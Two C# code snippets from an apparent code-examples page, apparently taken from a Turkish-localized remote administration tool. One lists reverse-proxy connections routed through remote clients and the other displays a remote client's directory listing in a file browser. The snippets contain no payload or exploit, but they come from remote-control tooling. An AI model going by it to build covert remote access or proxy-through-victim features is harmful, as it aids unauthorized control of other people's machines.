Exemplo n.º 1
0
        private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e)
        {
            lock (SocksServer)
            {
                if (e.ItemIndex < _openConnections.Length)
                {
                    ReverseProxyClient connection = _openConnections[e.ItemIndex];

                    e.Item = new ListViewItem(new string[]
                    {
                        connection.Client.EndPoint.ToString(),
                        connection.Client.Value.Ülke,
                        (connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0}  ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer,
                        connection.TargetPort.ToString(),
                        DosyaYardımcısı.GetDataSize(connection.LengthReceived),
                        DosyaYardımcısı.GetDataSize(connection.LengthSent),
                        connection.Type.ToString()
                    })
                    {
                        Tag = connection
                    };
                }
            }
        }
Exemplo n.º 2
0
        public static void HandleGetDirectoryResponse(Client client, GetDirectoryResponse packet)
        {
            if (client.Value == null || client.Value.FrmFm == null)
            {
                return;
            }

            new Thread(() =>
            {
                if (client.Value.ProcessingDirectory)
                {
                    return;
                }
                client.Value.ProcessingDirectory = true;

                client.Value.FrmFm.ClearFileBrowser();
                client.Value.FrmFm.AddItemToFileBrowser("..", "", DizinTürleri.Geri, 0);

                if (packet.Folders != null && packet.Folders.Length != 0 && client.Value.ProcessingDirectory)
                {
                    for (int i = 0; i < packet.Folders.Length; i++)
                    {
                        if (packet.Folders[i] != DELIMITER)
                        {
                            if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory)
                            {
                                break;
                            }

                            client.Value.FrmFm.AddItemToFileBrowser(packet.Folders[i], "", DizinTürleri.Klasör, 1);
                        }
                    }
                }

                if (packet.Files != null && packet.Files.Length != 0 && client.Value.ProcessingDirectory)
                {
                    for (int i = 0; i < packet.Files.Length; i++)
                    {
                        if (packet.Files[i] != DELIMITER)
                        {
                            if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory)
                            {
                                break;
                            }

                            client.Value.FrmFm.AddItemToFileBrowser(packet.Files[i],
                                                                    DosyaYardımcısı.GetDataSize(packet.FilesSize[i]), DizinTürleri.Dosya,
                                                                    DosyaYardımcısı.GetFileIcon(Path.GetExtension(packet.Files[i])));
                        }
                    }
                }

                if (client.Value != null)
                {
                    client.Value.ReceivedLastDirectory = true;
                    client.Value.ProcessingDirectory   = false;
                    if (client.Value.FrmFm != null)
                    {
                        client.Value.FrmFm.SetStatus("Hazır");
                    }
                }
            }).Start();
        }